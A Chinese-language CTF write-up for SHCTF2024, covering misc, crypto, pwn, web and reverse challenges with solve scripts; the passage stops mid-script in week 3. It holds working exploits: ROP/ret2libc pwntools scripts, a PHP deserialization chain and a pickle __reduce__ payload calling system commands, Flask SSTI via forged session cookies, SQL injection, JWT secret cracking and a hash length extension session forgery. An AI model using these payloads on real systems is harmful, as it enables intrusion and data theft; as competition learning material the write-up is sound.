SHCTF2024

本文最后更新于 2024年11月13日 上午

总排第28名,后续会对web复现

week1

Misc

签到题

公众号发对应内容就可以得到flag

Rasterizing Traffic

给的流量包,wireshark导出全部内容,中间的三个flag拼接是假的

最后一个导入010得到一个图片,网上搜索了一番知道是光栅隐写吧(是这么叫嘛)直接上exp,会跑出五个图片,拼接一下就行

1
2
3
4
5
6
7
8
9
from PIL import Image
import numpy as np

img = np.array(Image.open('a.png').convert('L')) # 确保图像是灰度的

for i in range(5):
z = np.zeros_like(img) # 创建全黑图像
z[:, i::5] = img[:, i::5] # 仅复制每5个像素的列
Image.fromarray(z).show()

拜师之旅①

给的图片不能正常查看,用010查看给加上正常的png开头给到图片,发现没有flag,crc爆破一下宽高得到flag

1

有WiFi干嘛不用呢?

简单的学一下

csv里面给了BSSID: EE:52:37:27:75:EB

may里面应该是密码字典,写个脚本提取一下内容,然后kali进行运行

aircrack-ng 01.cap -w pass.txt -b EE:52:37:27:75:EB -e target

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
directory = 'may'
with open('pass.txt', 'w', encoding='utf-8') as output_file:
files = os.listdir(directory)
for file in files:
file_path = os.path.join(directory, file)
if os.path.isfile(file_path):
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
if len(content) > 2:
modified_content = content[1:-2]
else:
modified_content = content # 如果文件内容长度不够,则不进行截取
output_file.write(f"{modified_content}\n")
except Exception as e:
print(f"读取文件 {file} 时出错: {e}")
print("所有文件内容已保存到 pass.txt 中")

4

真真假假?遮遮掩掩!

第一层我直接用伪加密工具Zipcenop进行的然后到了第二层,给了hint,SHCTF??????FTCHS,有点眼熟可以进行简单的猜测,最后得出是202410,然后带入解压得到flag,在线掩码爆破也行

Crypto

EzAES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Cipher import AES
import os

# 替换为你之前打印的 IV 和 Key
iv = b'\x91\x9c\x9e\x9fP\x98%\xd2{\xbc\xee|\x98c\x00\xd2' # IV
key = b'\x1b\x16\xd9\xc9\xc9\x10[u\xd5\xbeR\x8f\xd0\x99\xfe\xc0' # Key

# 读取密文
ciphertext = b'n\xe0\xe5\xa7W&\x89\x8d\xe5\xbd\xc8\xcf\n]\xbb\xcfF<sm\xae\xb1yY\xaa\x9a\x1a\x93*\x80\xad:Q\xb0\x1d9\xc8w\x08WR\xea\x8c\xca\xd6\x99\xf5\x8b'

# 创建 AES 解密对象
my_aes = AES.new(key, AES.MODE_CBC, iv)

# 解密
plaintext = my_aes.decrypt(ciphertext)

# 去掉填充
plaintext = plaintext.rstrip(b' ')

# 输出解密后的明文
print(plaintext)

Hello Crypto

1
2
3
4
from Crypto.Util.number import long_to_bytes
m = 215055650564999213787435370441363980894435533627269060323553651075017072071074685867345899498649872049909340326243097196157
flag = long_to_bytes(m)
print(flag)

baby_mod

参考了一下某比赛的wp,需要用到LLL算法,在本地微调之后的脚本如下,不太懂密码,本地的sagemath也不太灵光

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import long_to_bytes
from sage.all import *

# 密文和泄露的信息
c = 11454421006649444523173181606538145863693301443391411104476020392813188354552215237541156121746758260766189373235006192698011018103423719730694468959224
c = int(str(c) + "018990780114999724489697761346835348813863898197690613747060288212872603755938090881078090944985579244137762398288966180345904956701373459097473470489567378")

leak = -1457239467497770923738554308938779252194103808390298333375049349003518667390622623962565986306781435262634228918675745169896226699428349499145721234
leak = int(str(leak) + "545270574817562202671727008676598472467510294490895807123478089330411790070820510557303676413421705544423508474571278325171268094198633442810872810490979940393221644842305735264574402808330041918352683831517808255366623997677143893057026579")

r = 42606828099121205053846991305471624876675634413970417383658101034174961099590991091338816566296815476985911913200609816293298344668685957430209803900543
r = int(str(r) + "7862187841457950962311478142840359604893093112772355204586841584891592754560520121")

t = 43431252615108394128004779879998409954355258544308741393719751627109295930373577434186230529781229842377724105486808348002663162365228575615973691647630
t = int(str(t) + "7150053640166059613223862263789840507159058492697264635797552295028685772559578491")

# 构建矩阵
Ge = Matrix(ZZ, [
[leak, 0, 0, 0],
[r, 1, 0, 0],
[t, 0, 1, 0],
[-1, 0, 0, 2^500]
])

# 对第一列乘以 2^2000
Ge[:, 0] *= 2^2000

# LLL 约简
for line in Ge.LLL():
if line[0] == 0:
p, q = abs(line[1]), abs(line[2])
n = p * q
d = inverse(Integer(65537), (p - 1) * (q - 1))

# 将 m 转换为标准整数
m = pow(c, d, n)
print(long_to_bytes(int(m)))

factor

首先用yafu对N进行分解,然后带入对十选七进行全排列不重复,最后在答案区搜索SHCTF得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from itertools import combinations
from Crypto.Util.number import *
import gmpy2
from math import prod
primes = [
10090316943954343501,
9584538385744661071,
9882099115896276037,
12935778997315545353,
14633606489606944033,
17359021365807747733,
10674490894804861513,
17744376529345008481,
13075868978049623633,
14346486611799750539
]
e = 65537
c = 18791760293830179824015973110611716748918716697136891148879107606156801766019039764839524314819248940389704627215761359769781402984529

N = prod(primes)
for p_list in combinations(primes, 7):
n = prod(p_list)
phi = 1
for p in p_list:
phi *= (p - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)

print(f"组合: {p_list}, 解密后的 flag: {flag.decode(errors='ignore')}")

9

Pwn

签个到吧

1
c\at /f??? 1>&2

No stack overflow1

checksec一下发现有nx保护

6

ida打开发现有backdoor里面写入了bin/sh

一个gets的栈溢出,前面加\x00可以绕过,上exp

1
2
3
4
5
from pwn import *
p = remote('entry.shc.tf',28055)
payload=b'\x00'+b'a'*0x117+p64(0x4011DB)
p.sendline(payload)
p.interactive()

No stack overflow2

checksec一下开了nx

13

用ida打开,F5查看伪代码,先看main函数,有大小比较用-1绕过,没有system和sh,溢出点在read函数

用ROP gadget –binary ‘vuln’ –only ‘pop|ret’ ,查找rdi和ret的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *

# 设置连接和ELF文件
p = remote('210.44.150.15', 26065)
elf = ELF('./vuln')

# 常量定义
rdi = 0x0401223
ret = 0x040101a
main = 0x401228
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

# 构造第一个payload,泄露puts地址
payload1 = b'a' * 0x108 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(b'-1')
p.sendline(payload1)

# 接收puts地址并计算libc基址
p.recvuntil('input: ')
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(f'puts_addr: {hex(puts_addr)}')

libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
print(f'libcbase: {hex(libcbase)}')

# 计算system和"/bin/sh"地址
sys = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

# 构造第二个payload,执行system("/bin/sh")
p.sendline(b"-1")
payload2 = b'a' * 0x108 + p64(ret) + p64(rdi) + p64(binsh) + p64(sys)
p.sendline(payload2)

p.interactive()

12

Web

1zflask

先看/robots.txt,再看/s3recttt下载了文件,看一下在/api下面可以执行,进行传参得到flag

1
?SSHCTFF=cat /flag

ez_gittt

githack坏了,用gitdump下来,然后如下操作

2

蛐蛐?蛐蛐!

看源码有提示根据提示前往,然后构造payload

1
?ququ=0114514
1
ququ=ququk1;system('cat /f*');

jvav

还没学过java,问gpt跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.BufferedReader;
import java.io.InputStreamReader;

class demo {
public static void main(String[] args) {
String command = "cat /flag"; // 要执行的命令
String result = executeCommand(command);
System.out.println("Command output: " + result);
}

private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process process = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
reader.close();
} catch (Exception e) {
e.printStackTrace();
}
return output.toString().trim();
}
}

poppopop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
class SH {

public static $Web = true;
public static $SHCTF = true;
}
class C {
public $p;

public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {
($this->isyou)($this->flag);
}
}
}
$t = new T;
$t->n = new F;
$t->n->o = new C;
$t->n->o->p=new SHCTF;
$t->n->o->p->isyou='system';
$t->n->o->p->flag='cat /f*';
$exp = serialize($t);
$exp = base64_encode($exp);
echo $exp;

单身十八年的手速

直接js定位到alert然后base64解密得到flag

MD5 Master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__file__);

$master = "MD5 master!";

if(isset($_POST["master1"]) && isset($_POST["master2"])){
if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
echo $master . "<br>";
echo file_get_contents('/flag');
}
}
else{
die("master? <br>");
}

这题一开始的思路就是对的,只是由于编码的问题导致头一天没写出来,先用fastcoll对1.txt进行hash碰撞(内容是MD5 master!),然后用python进行读取内容,我php写的脚本就是一直不对,不知道为什么,然后拼接就可以得到flag了,最好用bp来发,hackbar会用url的编码问题

1
2
3
4
5
6
7
8
9
import urllib.parse
def read_my_file(path):
with open(path, 'rb') as fh:
data = fh.read()
return data
# 指定文件路径
file_path = "test_msg2.txt"
encoded_data = urllib.parse.quote(read_my_file(file_path))
print(f"URL 编码后的内容: {encoded_data}")

5

Ai

小助手

3

Re

gamegame

程序简单跑一下,用ida查看一下发现flag就是数独空白下来的拼接,找个在线网站填一下数独就行

10

ezapk

用jeb打开定位一下,同时模拟器查看一下是什么apk

7

写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64
def decode(encoded_str, key):
decoded_bytes = base64.b64decode(encoded_str)
decrypted_chars = []
for i, byte in enumerate(decoded_bytes.decode('utf-8')):
char_value = ord(byte)
char_value //= 2
char_value -= 6
decrypted_char = char_value ^ key[i % len(key)]
decrypted_chars.append(chr(decrypted_char))
return ''.join(decrypted_chars)
key = [12, 15, 25, 30, 36]

# 加密后的字符串
encoded_str = "woLDgMOgw7hEwoJQw7zDtsKow7TDpMOMZMOow75QxIbDnsKmw6Z4UMK0w7rCklDCrMKqwqbDtMOOw6DDsg=="
# 执行解密
decrypted_str = decode(encoded_str, key)
print("Decrypted String:", decrypted_str)
print('SHCTF{'+decrypted_str+"}")

8

ezrc4

看main函数和一些其他加密逻辑rc4解密,跑一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import struct
def rc4_init(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_decrypt(data, key):
S = rc4_init(key)
i = j = 0
result = []
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
result.append(char ^ k ^ 0x66)
return bytes(result)
# 从主函数中提取的加密标志
encrypted_flag = struct.pack('<QQQ', 0x5B3C8F65423FAB21, 0x691AE7846E05170C, 0x111F7077C3)
# 从sub_1200函数中提取的密钥
key = struct.pack('<Q', 0x212179654B6E6546)
# 解密
decrypted = rc4_decrypt(encrypted_flag, key)
# 提取有效的flag部分
flag = decrypted.split(b'}')[0] + b'}'
print("Flag:", flag.decode('ascii'))

ezxor

11

按逻辑进行简单的xor就行,上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <iostream>
#include <cstring>

int main() {
char v9[50] = {-61, 105, 114, -60, 103, 74, -24, 17, 67, -49, 'o', '\0', -13, 68, 110, -8, 89, 73, -24, 78, 94, -30, 83, 67, -79, 92}; // flag 加密后的值
char decrypted[50] = {0};

for (int j = 0; j < 50; ++j) {
if (j % 3 == 0) {
decrypted[j] = v9[j] ^ 0x90;
} else if (j % 3 == 1) {
decrypted[j] = v9[j] ^ 0x21;
} else {
decrypted[j] = v9[j] ^ 0x31;
}
}

std::cout << "Decrypted flag: ";
for (int i = 0; i < 50; ++i) {
std::cout << decrypted[i];
}
std::cout << std::endl;

return 0;
}

PPC

绑定QQ账号

在qq群绑定一下就行,然后网站出flag,记得刷新一下就行

week2

web

guess_the_number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import random

first_num = 2060849645


def find_flag():
for seed in range(1000000, 9999999):
random.seed(seed)
# 生成 first_num,以确保我们使用的是同一个种子
generated_first_num = random.randint(1000000000, 9999999999)

if generated_first_num == first_num:
# 生成 second_num
second_num = random.randint(1000000000, 9999999999)

# 发送请求到 /guess
url = f"http://210.44.150.15:25676/guess?num={second_num}"
response = requests.get(url)

# 打印每次请求的结果
print(
f'Seed: {seed}, First Num: {generated_first_num}, Second Num: {second_num}, Response: {response.text}')

# 检查响应内容中是否包含 flag
if 'flag' in response.text:
print(f'Found flag with seed {seed}: {response.text}')
break # 找到后退出循环


find_flag()

自助查询

前面正常的查询最后一步有提示是注释里,查询 column_comment得到flag

1
1") UNION SELECT column_name, column_comment FROM information_schema.columns WHERE table_name='flag' --

入侵者禁入

考察的session,需要利用模板注入

1
python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t '{"role":{"flag":"{{ 7*7 }}","is_admin":1}}'

测试到有注入点

然后测试

1
2
TEMPLATE="{\"role\":{\"flag\":\"{% print(url_for.__globals__[\\'__builtins__\\'][\\'eval\\'](\\\"__import__(\\\\\\'os\\\\\\').popen(\\\\\\'ls \\/\\\\\\').read()\\\")) %}\",\"is_admin\":1}}"
python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t "$TEMPLATE"

发现有flag,最后

1
2
$ TEMPLATE="{\"role\":{\"flag\":\"{% print(url_for.__globals__[\\'__builtins__\\'][\\'eval\\'](\\\"__import__(\\\\\\'os\\\\\\').popen(\\\\\\'cat \\/flag\\\\\\').read()\\\")) %}\",\"is_admin\":1}}"
python3 flask_session_cookie_manager3.py encode -s '0day_joker' -t "$TEMPLATE"

14

15

dickle

pickle序列化,简单的尝试了一下,注意环境需要用linux运行脚本,得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import subprocess
import base64

class Exploit:
def __reduce__(self):
# 使用 subprocess 来执行命令并返回其输出
return (subprocess.getoutput, ('cat /flag',))

# 序列化 Exploit 对象
payload = pickle.dumps(Exploit())
encoded_payload = base64.b64encode(payload).decode()

print(encoded_payload)

得到的flag的为类似下方的,需要简单调节拼接一下内容

1
Deserialized data: ['S', 'H', 'C', 'T', 'F',

登录验证

登陆拿去cookie用jwt_tool爆破一下密钥

16

前端是弱密码admin:admin,然后也把cookie改一下得到flag

17

MD5 GOD!(复现)

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from flask import *
import hashlib, os, random


app = Flask(__name__)
app.config["SECRET_KEY"] = "Th1s_is_5ecr3t_k3y"
salt = os.urandom(16)

def md5(data):
return hashlib.md5(data).hexdigest().encode()

def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False


def getRandom(str_length=16):
random_str =''
base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length =len(base_str) -1
for i in range(str_length):
random_str +=base_str[random.randint(0, length)]
return random_str

users = {}
sign_users = {}

@app.route("/")
def index():
if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
return redirect("/login")
sign = session.get('sign')
username = session.get('username')
msg = session.get('msg')
if check_sign(sign, username, msg, salt):
sign_users[username.decode()] = 1
return "签到成功"
return redirect("/login")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
# print(password)
if username in users and users[username] == password:
session["username"] = username.encode()
session["msg"] = md5(salt + password.encode())
session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
return "登陆成功"
else:
return "登陆失败"
else:
return render_template("login.html")


@app.route("/users")
def user():
return json.dumps(sign_users)


@app.route("/flag")
def flag():
for user in users:
if sign_users[user] != 1:
return "flag{杂鱼~}"
return open('/flag', 'r').read()


def init():
global users, sign_users
for _ in range(64):
username = getRandom(8)
pwd = getRandom(16)
users[username] = pwd
sign_users[username] = 0
users["student"] = "student"
sign_users["student"] = 0

init()

题目的要求是64个用户全部签到就可以得到flag了

访问/users可以得到用户的信息

/login 路由可以登陆

/ 路由是签到的

/flag可以得到flag

定位一下关键脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False

@app.route("/")
def index():
if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
return redirect("/login")
sign = session.get('sign')
username = session.get('username')
msg = session.get('msg')
if check_sign(sign, username, msg, salt):
sign_users[username.decode()] = 1
return "签到成功"
return redirect("/login")

可以知道,只要session里的 sign 和最终 md5(salt + msg + username) 相等即可签到成功

这里的salt是未知的,但最初的账号 student 的所有信息是已知的,可以用这个账号的相关信息来做hash长度拓展攻击

hash长度拓展之前打base有个现成的脚本

接着是session伪造,SECRET_KEY 已经给出是 Th1s_is_5ecr3t_k3y可以调用flask_session_cookie_manager3.py里的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
import hashlib
import math
from typing import Any, Dict, List

rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]

constants = [int(abs(math.sin(i + 1)) * 2 ** 32) & 0xFFFFFFFF for i in range(64)]

functions = 16 * [lambda b, c, d: (b & c) | (~b & d)] + \
16 * [lambda b, c, d: (d & b) | (~d & c)] + \
16 * [lambda b, c, d: b ^ c ^ d] + \
16 * [lambda b, c, d: c ^ (b | ~d)]

index_functions = 16 * [lambda i: i] + \
16 * [lambda i: (5 * i + 1) % 16] + \
16 * [lambda i: (3 * i + 5) % 16] + \
16 * [lambda i: (7 * i) % 16]


def get_init_values(A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> List[int]:
return [A, B, C, D]


def left_rotate(x, amount):
x &= 0xFFFFFFFF
return ((x << amount) | (x >> (32 - amount))) & 0xFFFFFFFF


def padding_message(msg: bytes) -> bytes:
"""
在MD5算法中,首先需要对输入信息进行填充,使其位长对512求余的结果等于448,并且填充必须进行,即使其位长对512求余的结果等于448。
因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。
填充的方法如下:
1) 在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。
2) 在这个结果后面附加一个以64位二进制表示的填充前信息长度(单位为Bit),如果二进制表示的填充前信息长度超过64位,则取低64位。
经过这两步的处理,信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。
"""
orig_len_in_bits = (8 * len(msg)) & 0xffffffffffffffff
msg += bytes([0x80])
while len(msg) % 64 != 56:
msg += bytes([0x00])
msg += orig_len_in_bits.to_bytes(8, byteorder='little')
return msg


def md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int:
message = padding_message(message)
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF

return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def md5_to_hex(digest: int) -> str:
raw = digest.to_bytes(16, byteorder='little')
return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))


def get_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str:
return md5_to_hex(md5(message, A, B, C, D))


def md5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe,
D: int = 0x10325476) -> int:
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF

return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def get_init_values_from_hash_str(real_hash: str) -> List[int]:
"""

Args:
real_hash: 真实的hash结算结果

Returns: 哈希初始化值[A, B, C, D]

"""
str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i in range(4)]
# 先按照小端字节序将十六进制字符串转换成整数,然后按照大端字节序重新读取这个数字
return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]


def get_md5_attack_materials(origin_msg: bytes, key_len: int, real_hash: str, append_data: bytes) -> Dict[str, Any]:
"""

Args:
origin_msg: 原始的消息字节流
key_len: 原始密钥(盐)的长度
real_hash: 计算出的真实的hash值
append_data: 需要添加的攻击数据

Returns: 发起攻击需要的物料信息
{
'attack_fake_msg': bytes([...]),
'attack_hash_value': str(a1b2c3d4...)
}

"""
init_values = get_init_values_from_hash_str(real_hash)
# print(['{:08x}'.format(x) for x in init_values])
# 只知道key的长度,不知道key的具体内容时,任意填充key的内容
fake_key: bytes = bytes([0xff for _ in range(key_len)])
# 计算出加了append_data后的真实填充数据
finally_padded_attack_data = padding_message(padding_message(fake_key + origin_msg) + append_data)
# 攻击者提前计算添加了攻击数据的哈希
attack_hash_value = md5_to_hex(md5_attack(finally_padded_attack_data[len(padding_message(fake_key + origin_msg)):],
A=init_values[0],
B=init_values[1],
C=init_values[2],
D=init_values[3]))
fake_padding_data = padding_message(fake_key + origin_msg)[len(fake_key + origin_msg):]
attack_fake_msg = origin_msg + fake_padding_data + append_data
return {'attack_fake_msg': attack_fake_msg, 'attack_hash_value': attack_hash_value}



from flask.sessions import SecureCookieSessionInterface
import requests, json, time

class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key


def session_decode(session_cookie_value, secret_key):
""" Decode a Flask cookie """
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)


def session_encode(session_cookie_structure, secret_key):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
# session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)


def req_index(url, cookie):
# headers = {"Cookie": "session=" + cookie}
cookies = {"session":cookie}
r = requests.get(url, cookies=cookies).text
# print(r)
if '签到成功' not in r:
# print(cookie)
time.sleep(1)
req_index(url, cookie)
# print(r)

def req_user(url):
return json.loads(requests.get(url).text)

def req_login(url):
data = {"username":"student", "password":"student"}
cookie = requests.post(url, data).headers["Set-Cookie"][8:].split(';')[0]
# print(cookie)
return cookie

def hash_Attack(md5_value, key_len, data, attack_data):
attack_materials = get_md5_attack_materials(data, key_len, md5_value.decode(), attack_data)
# print(data)
res = {"username":attack_data, "msg":attack_materials['attack_fake_msg'][:-len(attack_data)], "sign":attack_materials['attack_hash_value'].encode()}
return res


if __name__ == '__main__':
url = "http://210.44.150.15:47666/"
cookie = req_login(url+'login')
users = req_user(url+'users')
secret_key = "Th1s_is_5ecr3t_k3y"
res = session_decode(cookie, secret_key)
for user in users:
if users[user] == 0:
res = hash_Attack(res["sign"], 16, res["msg"]+res["username"], user.encode())
res2 = session_encode(res, secret_key)
# time.sleep(1)
r = req_index(url, res2)

自己一开始其实已经搓好脚本了,但是一直调用不好,就直接上官p了

crypto

魔鬼的步伐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import long_to_bytes
from math import gcd

def pollard_p1(n):
a = 2
for i in range(2, 100000):
a = pow(a, i, n)
d = gcd(a - 1, n)
if 1 < d < n:
return d
return None

n = 2831832791030609530715813213220019883048914189158756797307958158408447051630508377374040550762130532585789257283656903976093710799661936572635199760487152921738463539735395878201301223666364287975878427298711981759489133322514450542491313745324153974993874104970865609328318781784747005428502998650052645698811657
e = 65537
c = 277886534227205145921457730106662348869574033254759302593748922500501707927099574576237860088700790266316998558285705873756211980752787668038757766667343292786435728705389634346196021354871807428435121426405798244396230131921055698729045936487882618606410991938850305317286706006559422640483458860444177938881800

# 使用 Pollard's p-1 算法来因式分解 n
p = pollard_p1(n)
q = n // p

phi = (p - 1) * (q - 1)

d = pow(e, -1, phi)

m = pow(c, d, n)

flag = long_to_bytes(m).decode()

print(f"Decrypted flag: {flag}")

worde很大

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import getPrime,long_to_bytes
import gmpy2

n = 130433353485114808362891473473687063450960194937676119243199446452481897128998745221120731419339412044208064119908758711834838645767782724735230587850283436574369664159096103050287644689328716204472869291844135677716993421012781378455475934816332308522080394895659167943720237016096316321598240463439917555281
c = 113481028807797740037371035561982400582216347323064462704823511064717743759816353553711535800864287099830079892568173444272959071112043294532294530031945500092151286531985831158853663827132668376187003261937157640029140101561586890243591683063607063713791333133210662159262006241032211052722483961060241094497
e = 1052399395403315650954843878395162921915412936034670295881299
dp = 10401970562842714823433011053885095731667426359291853822584611025061595365689032401513692452915352091669078429838636807965495759380977994966274049008153199
a = getPrime(10)

p = gmpy2.gcd(pow(a,dp*e,n)-a,n)
m = pow(c,dp,p)
print(long_to_bytes(m))

week3

crypto

babyLCG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from Crypto.Util.number import *
import itertools

# Given parameters
a = 2314263556681405131427434567397721554084880715002737002374447625890031179538396443026861034624920599042538939666756802003
b = 2303270095373091755028150204192621881624870682086240301196159556738806285789162309361059161301421010273000801707364139301
p = 1785338523770596929007042881767789771169994055441005505378421343570059111347682949630788644017267333793887728906549496559
c = [
1241585594145948568010297947806690682620161405184519680517131577883608946115221281877403406394716,
783745699152795646128200231796229145162258118907090494213671524973697625898415316535828899751033,
244960939438293041293560739941286165510749607918699325252666815425914305519670411696985473344258
]

# Define the small_roots function
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ** (m - i) * f ** i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
